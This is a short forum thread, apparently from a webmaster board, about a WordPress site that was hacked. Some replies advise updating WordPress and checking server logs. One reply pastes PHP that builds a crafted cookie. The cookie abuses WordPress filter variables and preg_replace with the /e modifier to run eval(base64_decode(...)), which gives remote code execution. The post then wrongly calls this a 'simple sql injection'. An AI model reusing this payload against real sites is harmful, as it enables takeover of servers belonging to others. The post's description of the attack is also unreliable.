50 hackers....

Make sure you install the updated version of Wordpress. You're not the first this has happened to & the exploit is quite well known now. Sucks though. I think Hallmark should put out a line of "Sorry for your data loss" cards. It can be heartbreaking!

Check your server logs, and try to find out who did it.

:1orglaugh :1orglaugh

witch algo? it's just a md5 hash that must have been dump.
or something like that:
$str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

$cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

simple sql injection :321GFY